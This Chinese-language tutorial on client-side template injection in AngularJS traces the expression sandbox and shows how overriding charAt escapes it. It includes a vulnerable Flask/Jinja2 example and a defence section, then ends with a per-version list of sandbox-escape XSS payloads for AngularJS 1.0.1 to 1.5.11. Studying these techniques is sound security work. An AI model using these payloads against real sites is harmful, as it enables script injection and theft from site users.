Client-Side Template Injection with AngularJS

0x00 前言

测试链接：

https://liveoverflow.com/php/angularjs/angular1.5.8.php?q=%7B%7B1%2B2%7D%7D

看了 XSS without HTML: Client-Side Template Injection with AngularJS 一文感觉不错，于是翻译了下，加了点东西，有时间的话把另外一篇 SSTI 的也翻译了。

说起模版注入（Template Injection ），大家都会想起去年很火的 SSTI（Server-Side Template Injection），以 Python 中常用的模板引擎 Jinja2 为例，假如有个这样的 Flask 代码：

@app.errorhandler(404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404

开发者想要回显出用户输入的错误 URL，但他选择使用字符串格式化，来将 URL 动态地加入到模板字符串中，而不是通过 render_template_string 函数将 URL 传递进入模板内容当中。这会造成什么后果？我们在 URL 末尾加上 {{ 7+7 }} 试试：

7+7.png

可以看到模板引擎计算了数学表达式，应用程序在响应的时候将其解析成 14。如果我们把 {{ 7+7 }} 换成 {{ config.items() }} 呢？感兴趣的小伙伴可以试试。(详细内容可参考 Exploring SSTI in Flask/Jinja2)

0x01 AngularJS

通过前面的例子，大家应该已经知道不能将用户输入直接作为模版内容的一部分。那么在现代的前端框架中也有类似的模板或表达式，会不会也有这样的问题？

同样以 AngularJS 为例：

<html>
<head>
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js"></script>
</head>
<body>
<div ng-app>{{ 7+7 }}</div>
</body>
</html>

果然也出现了 14，如果改成 {{ alert(1) }} 试试呢？

可惜什么也没发生，连源码里也没有。

0x02 沙箱

原来 AngularJS 1.6 以下版本都有一个安全沙箱，会对表达式进行检查、过滤、解析、重写。

在第 13275 行下断点，跟踪 fnString，发现之前的 {{ 7+7 }} 被变换成了

"use strict";
var fn = function(s, l, a, i) {
return plus(7, 7);
};
return fn;

再把 {{ 7+7 }} 换成 {{constructor.constructor('alert(1)')()}}，发现一些有趣的输出：

"use strict";
var fn = function(s, l, a, i) {
var v0, v1, v2, v3, v4 = l && ('constructor' in l),
v5;
if (!(v4)) {
if (s) {
v3 = s.constructor;
}
} else {
v3 = l.constructor;
}
ensureSafeObject(v3, text);
if (v3 != null) {
v2 = ensureSafeObject(v3.constructor, text);
} else {
v2 = undefined;
}
if (v2 != null) {
ensureSafeFunction(v2, text);
v5 = 'alertu00281u0029';
ensureSafeObject(v3, text);
v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alertu00281u0029', text)), text);
} else {
v1 = undefined;
}
if (v1 != null) {
ensureSafeFunction(v1, text);
v0 = ensureSafeObject(v1(), text);
} else {
v0 = undefined;
}
return v0;
};
return fn;

可以看出 AngularJS 遍历了表达式的每个对象并用 ensureSafeObject 函数检查它。ensureSafeObject 函数检查对象是否是函数/对象引用、窗口对象、 DOM 元素，如果任何检查为真，它就会抛出异常并停止执行表达式。同时它还阻止了对全局变量的访问。

AngularJS 还有一些安全检查函数比如 ensureSafeMemberName 和 ensureSafeFunction，ensureSafeMemberName 检查了属性名称确保没有 __proto__等，而 ensureSafeFunction 检查了是不是函数构造器或函数绑定等。

0x03 试探

因为 AngularJS 表达式不支持函数语句，所以无法直接覆盖原生的 JavaScript。不过有一个函数可能有用 —— String.fromCharCode，因为这个函数是从字符串构造函数（String constructor）而不是字符串调用的，即 this 的值是 String constructor。

那我们怎么在不创建新函数的情况下利用 fromCharCode 呢？重用现有的函数就行了~ 现在的问题是怎么控制 fromCharCode 被调用时的值。

如果我们使用数组连接函数，可以让字符串构造函数为伪数组，这样我们可以获得 length 属性和一个属性为 0 的伪数组索引。

这样 String.fromCharCode 被调用时我们就能得到想要的 <iframe onload=alert(/Backdoored/)> 字符串了，让我们试试看效果：

<html>
<head>
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js"></script>
</head>
<body>
<div ng-app>
{{
'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='u003ciframe onload=alert(/Backdoored/)u003e';
}}
</div>
<script>
onload=function(){
document.write(String.fromCharCode(97));
}
</script>
</body>
</html>

但可惜在 AngularJS 的代码里并没有找到可直接用于沙箱逃逸的 String.fromCharcode，所以需要寻找一个新的函数。

随后发现了 charCodeAt，如果可以覆盖这个值，它就会被注入到字符串属性中，不会有任何过滤。然而有个问题：这次 this 的值是不可写（无法操作索引或长度）的字符串而不是字符串构造函数，所以不能用相同的方法来覆盖函数。

后来想到用 [].concat，这个函数会把字符串和参数连接在一起返回。
比如 'abc'.charCodeAt(0) 你也许会觉得是 97 (ASCII a)，但覆盖掉 charCodeAt 后返回的却是 abc,0。

这有什么用呢？利用它就可以注入恶意的属性，绕过安全检查。

安全检查的伪代码像这样：

if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
out(' ');
out(key);
out('="');
out(encodeEntities(value));
out('"');
}

Out 是过滤后的输出，key 是属性名称，而 value 是属性的值。encodeEntities 函数是这样的：

function encodeEntities(value) {
return value.
replace(/&/g, '&').
replace(SURROGATE_PAIR_REGEXP, function(value) {
var hi = value.charCodeAt(0);
var low = value.charCodeAt(1);
return '&#' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';';
}).
replace(NON_ALPHANUMERIC_REGEXP, function(value) {
return '&#' + value.charCodeAt(0) + ';';
}).
replace(/</g, '<').
replace(/>/g, '>');
}

return '&#' + value.charCodeAt(0) + ';' 是关键，很明显开发者认为 charCodeAt 函数返回的就是整数，但如果攻击者控制了它，沙箱就“千里之堤，毁于蚁穴”了。
通过相似的原理，我们就可以逃逸沙箱。

0x04 逃逸

让我们试一下其他的自带函数，CharAt 感觉很有希望。

{{
'a'.constructor.prototype.charAt=[].join;
$eval('x=""')+''
}}

出现了解析错误，看看到底发生了什么：

"use strict";
var fn = function(s, l, a, i) {
var v5, v6 = l && ('xu003du0022u0022' in l);
if (!(v6)) {
if (s) {
v5 = s.x = "";
}
} else {
v5 = l.x = "";
}
return v5;
};
fn.assign = function(s, v, l) {
var v0, v1, v2, v3, v4 = l && ('xu003du0022u0022' in l);
v3 = v4 ? l : s;
if (!(v4)) {
if (s) {
v2 = s.x = "";
}
} else {
v2 = l.x = "";
}
if (v3 != null) {
v1 = v;
ensureSafeObject(v3.x = "", text);
v0 = v3.x = "" = v1;
}
return v0;
};
return fn;

注意 v0 = v3.x = "" = v1，看起来有戏，如果我们把 Payload 换一下：

{{
'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)')+''
}}

Bingo，可爱的 alert 终于出现了。

"use strict";
var fn = function(s, l, a, i) {
var v5, v6 = l && ('xu003dalertu00281u0029' in l);
if (!(v6)) {
if (s) {
v5 = s.x = alert(1);
}
} else {
v5 = l.x = alert(1);
}
return v5;
};
fn.assign = function(s, v, l) {
var v0, v1, v2, v3, v4 = l && ('xu003dalertu00281u0029' in l);
v3 = v4 ? l : s;
if (!(v4)) {
if (s) {
v2 = s.x = alert(1);
}
} else {
v2 = l.x = alert(1);
}
if (v3 != null) {
v1 = v;
ensureSafeObject(v3.x = alert(1), text);
v0 = v3.x = alert(1) = v1;
}
return v0;
};
return fn;

可以看到 x=alert(1) 成功绕过了安全检查注入进了代码，我们成功逃逸了沙箱！

为了更深入地观察 AngularJS 是如何解析代码的，我们可以在 14079 行处下断点，点击 Resume 跳过解析器初始化，然后一直 Step into，可以看到在 12699 行它会认为 x=alert(1) 是一个 identifier。

在这个过程中有 isIdent 和 isNumber 函数在检查：

while (this.index < this.text.length) {
var ch = this.text.charAt(this.index);
if (!(this.isIdent(ch) || this.isNumber(ch))) {
break;
}
this.index++;
}
isIdent= function(ch) {
return ('a' <= ch && ch <= 'z' ||
'A' <= ch && ch <= 'Z' ||
'_' === ch || ch === '$');
}

不过因为我们重写了 charAt，'x=alert(1)'.charAt(9) 实际上是 x9=9a9l9e9r9t9(919)，而长字符串肯定大于任意一个单字符，所以每次都可以绕过判断：

最后在第 13247 行创建复制函数时，identifier 被多次注入到函数字符串中，当这个构造函数被调用时，页面上就会被注入我们的 alert(1)。

0x05 防御措施

AngularJS 在 1.6 版本以后就移除了安全沙箱，因为它并不能根本上解决 XSS 问题。

如果攻击者可以访问控制 AngularJS 模板或表达式，他们可以通过 XSS 攻击利用任意版本 AngularJS。

有多种方法可以控制模板和表达式：

在生成 AngularJS 模板时包含用户提供的内容。
表达式时在调用下面的方法时包含用户提供的内容：
- $watch(userContent, ...)
- $watchGroup(userContent, ...)
- $watchCollection(userContent, ...)
- $eval(userContent)
- $evalAsync(userContent)
- $apply(userContent)
- $applyAsync(userContent)
表达式在解析时包含用户提供的内容：
- $compile(userContent)
- $parse(userContent)
- $interpolate(userContent)
表达式中使用管道时条件包含用户提供的内容：{{ value | orderBy : userContent }}

所以设计应用程序时，用户不能更改客户端模板。

不要混合客户端和服务器模板
不要使用用户输入动态生成模板
不要通过（或上面列出的任何其他表达式解析函数）运行用户输入
考虑使用 CSP

可以使用服务器端模板来动态生成 CSS，URL 等，但不能用于生成由 AngularJS 引导/编译的模板。

如果必须在 AngularJS 模板中使用用户提供的内容，需要确保它在通过 ngNonBindable 指令明确指定了不编译的模板部分中。

Bypass Payload

下面是一些 AngularJS 绕过的 Payload：

1.0.1 - 1.1.5

{{constructor.constructor('alert(1)')()}}

1.2.0 - 1.2.1

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

1.2.2 - 1.2.5

{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\u002ex)alert(window\u002ex=1)')+eval(y)+"'");}}

1.2.6 - 1.2.18

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

1.2.19 - 1.2.23

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

1.2.24 - 1.2.29

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='"+(y='if(!window\u002ex)alert(window\u002ex=1)')+eval(y)+"'");}}

1.3.0

{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);}}

1.3.1 - 1.3.2

{{
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf;
$eval('x=alert(1)//');
}}

1.3.3 - 1.3.18

{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//'); }}

1.3.19

{{
'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
$eval('x=alert(1)//');
}}

1.3.20

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

1.4.0 - 1.4.9

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

1.5.0 - 1.5.8

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}} ---->没有测试成功
{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(42),a')}}');}} 此条在liveoverflow.com测试成功

1.5.9 - 1.5.11

{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}